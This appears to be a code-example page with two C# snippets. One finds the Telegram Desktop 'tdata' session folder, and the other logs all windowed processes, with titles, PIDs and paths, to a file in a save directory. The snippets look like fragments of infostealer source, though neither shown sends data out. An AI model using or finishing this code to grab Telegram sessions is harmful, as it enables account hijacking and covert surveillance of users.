예제 #1
0
        // Get tdata directory
        private static string GetTdata()
        {
            string TelegramDesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";

            Process[] TelegramProcesses = Process.GetProcessesByName("Telegram");

            if (TelegramProcesses.Length == 0)
            {
                return(TelegramDesktopPath);
            }
            else
            {
                return(Path.Combine(
                           Path.GetDirectoryName(
                               ProcessList.ProcessExecutablePath(
                                   TelegramProcesses[0])), "tdata"));
            }
        }
예제 #2
0
 public static void WriteWindows(string sSavePath)
 {
     Process[] processlist = Process.GetProcesses();
     foreach (Process process in processlist)
     {
         try
         {
             if (!string.IsNullOrEmpty(process.MainWindowTitle))
             {
                 System.IO.File.AppendAllText(
                     sSavePath + "\\Windows.txt",
                     "NAME: " + process.ProcessName +
                     "\n\tTITLE: " + process.MainWindowTitle +
                     "\n\tPID: " + process.Id +
                     "\n\tEXE: " + ProcessList.ProcessExecutablePath(process) +
                     "\n\n"
                     );
             }
         } catch { }
     }
 }